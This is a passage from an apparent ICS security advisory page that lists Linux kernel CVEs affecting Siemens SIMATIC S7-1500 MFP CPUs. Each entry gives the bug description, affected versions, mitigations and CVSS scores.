<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31565</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix deadlock during netdev reset with active connections Resolve deadlock that occurs when user executes netdev reset while RDMA applications (e.g., rping) are active. The netdev reset causes ice driver to remove irdma auxiliary driver, triggering device_delete and subsequent client removal. During client removal, uverbs_client waits for QP reference count to reach zero while cma_client holds the final reference, creating circular dependency and indefinite wait in iWARP mode. Skip QP reference count wait during device reset to prevent deadlock.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31565">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31628</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/CPU: Fix FPDSS on Zen1 Zen1's hardware divider can leave, under certain circumstances, partial results from previous operations. Those results can be leaked by another, attacker thread. Fix that with a chicken bit.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31628">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31634</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rxrpc: fix reference count leak in rxrpc_server_keyring() This patch fixes a reference count leak in rxrpc_server_keyring() by checking if rx-&gt;securities is already set.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31634">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31649</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: stmmac: fix integer underflow in chain mode The jumbo_frm() chain-mode implementation unconditionally computes len = nopaged_len - bmax; where nopaged_len = skb_headlen(skb) (linear bytes only) and bmax is BUF_SIZE_8KiB or BUF_SIZE_2KiB. However, the caller stmmac_xmit() decides to invoke jumbo_frm() based on skb-&gt;len (total length including page fragments): is_jumbo = stmmac_is_jumbo_frm(priv, skb-&gt;len, enh_desc); When a packet has a small linear portion (nopaged_len &lt;= bmax) but a large total length due to page fragments (skb-&gt;len &gt; bmax), the subtraction wraps as an unsigned integer, producing a huge len value (~0xFFFFxxxx). This causes the while (len != 0) loop to execute hundreds of thousands of iterations, passing skb-&gt;data + bmax * i pointers far beyond the skb buffer to dma_map_single(). On IOMMU-less SoCs (the typical deployment for stmmac), this maps arbitrary kernel memory to the DMA engine, constituting a kernel memory disclosure and potential memory corruption from hardware. Fix this by introducing a buf_len local variable clamped to min(nopaged_len, bmax). Computing len = nopaged_len - buf_len is then always safe: it is zero when the linear portion fits within a single descriptor, causing the while (len != 0) loop to be skipped naturally, and the fragment loop in stmmac_xmit() handles page fragments afterward.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31649">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31651</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mmc: vub300: fix NULL-deref on disconnect Make sure to deregister the controller before dropping the reference to the driver data on disconnect to avoid NULL-pointer dereferences or use-after-free.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31651">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31658</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: altera-tse: fix skb leak on DMA mapping error in tse_start_xmit() When dma_map_single() fails in tse_start_xmit(), the function returns NETDEV_TX_OK without freeing the skb. Since NETDEV_TX_OK tells the stack the packet was consumed, the skb is never freed, leaking memory on every DMA mapping failure. Add dev_kfree_skb_any() before returning to properly free the skb.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31658">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31664</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfrm: clear trailing padding in build_polexpire() build_expire() clears the trailing padding bytes of struct xfrm_user_expire after setting the hard field via memset_after(), but the analogous function build_polexpire() does not do this for struct xfrm_user_polexpire. The padding bytes after the __u8 hard field are left uninitialized from the heap allocation, and are then sent to userspace via netlink multicast to XFRMNLGRP_EXPIRE listeners, leaking kernel heap memory contents. Add the missing memset_after() call, matching build_expire().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31664">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31665</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: fix use-after-free in timeout object destroy nft_ct_timeout_obj_destroy() frees the timeout object with kfree() immediately after nf_ct_untimeout(), without waiting for an RCU grace period. Concurrent packet processing on other CPUs may still hold RCU-protected references to the timeout object obtained via rcu_dereference() in nf_ct_timeout_data(). Add an rcu_head to struct nf_ct_timeout and use kfree_rcu() to defer freeing until after an RCU grace period, matching the approach already used in nfnetlink_cttimeout.c. KASAN report: BUG: KASAN: slab-use-after-free in nf_conntrack_tcp_packet+0x1381/0x29d0 Read of size 4 at addr ffff8881035fe19c by task exploit/80 Call Trace: nf_conntrack_tcp_packet+0x1381/0x29d0 nf_conntrack_in+0x612/0x8b0 nf_hook_slow+0x70/0x100 __ip_local_out+0x1b2/0x210 tcp_sendmsg_locked+0x722/0x1580 __sys_sendto+0x2d8/0x320 Allocated by task 75: nft_ct_timeout_obj_init+0xf6/0x290 nft_obj_init+0x107/0x1b0 nf_tables_newobj+0x680/0x9c0 nfnetlink_rcv_batch+0xc29/0xe00 Freed by task 26: nft_obj_destroy+0x3f/0xa0 nf_tables_trans_destroy_work+0x51c/0x5c0 process_one_work+0x2c4/0x5a0</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31665">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31669</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix slab-use-after-free in __inet_lookup_established The ehash table lookups are lockless and rely on SLAB_TYPESAFE_BY_RCU to guarantee socket memory stability during RCU read-side critical sections. Both tcp_prot and tcpv6_prot have their slab caches created with this flag via proto_register(). However, MPTCP's mptcp_subflow_init() copies tcpv6_prot into tcpv6_prot_override during inet_init() (fs_initcall, level 5), before inet6_init() (module_init/device_initcall, level 6) has called proto_register(&amp;tcpv6_prot). At that point, tcpv6_prot.slab is still NULL, so tcpv6_prot_override.slab remains NULL permanently. This causes MPTCP v6 subflow child sockets to be allocated via kmalloc (falling into kmalloc-4k) instead of the TCPv6 slab cache. The kmalloc-4k cache lacks SLAB_TYPESAFE_BY_RCU, so when these sockets are freed without SOCK_RCU_FREE (which is cleared for child sockets by design), the memory can be immediately reused. Concurrent ehash lookups under rcu_read_lock can then access freed memory, triggering a slab-use-after-free in __inet_lookup_established. Fix this by splitting the IPv6-specific initialization out of mptcp_subflow_init() into a new mptcp_subflow_v6_init(), called from mptcp_proto_v6_init() before protocol registration. This ensures tcpv6_prot_override.slab correctly inherits the SLAB_TYPESAFE_BY_RCU slab cache.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31669">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31670</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rfkill: prevent unlimited numbers of rfkill events from being created Userspace can create an unlimited number of rfkill events if the system is so configured, while not consuming them from the rfkill file descriptor, causing a potential out of memory situation. Prevent this from bounding the number of pending rfkill events at a "large" number (i.e. 1000) to prevent abuses like this.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31670">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
